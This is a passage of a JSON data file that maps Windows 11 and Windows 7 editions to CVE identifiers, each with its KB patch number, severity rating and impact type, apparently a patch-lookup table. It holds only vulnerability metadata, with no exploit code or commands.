Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082052","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082052","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 24H2 for ARM64-based Systems":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041571","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043080","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044284","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 24H2 for x64-based Systems":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041571","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043080","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044284","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 25H2 for ARM64-based Systems":[{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-64720","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 25H2 for x64-based Systems":[{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-64720","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 26H1 for ARM64-based Systems":[{"cve":"CVE-2025-64720","kb":"5083768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083768","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 version 21H2 for ARM64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009566","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5007215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015814","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013943","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029253","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025224","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028182","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031358","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034766","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043067","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-6197","kb":"5044280","severity":"Important","impact":"Remote Code Execution"}],"Windows 11 version 21H2 for x64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009566","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5007215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015814","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013943","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029253","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025224","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028182","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031358","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034766","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043067","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-6197","kb":"5044280","severity":"Important","impact":"Remote Code Execution"}],"Windows 11 version 26H1 for x64-based Systems":[{"cve":"CVE-2025-64720","kb":"5083768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083768","severity":"Important","impact":"Elevation of Privilege"}],"Windows 7 for 32-bit Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4012215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"}],"Windows 7 for x64-based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code 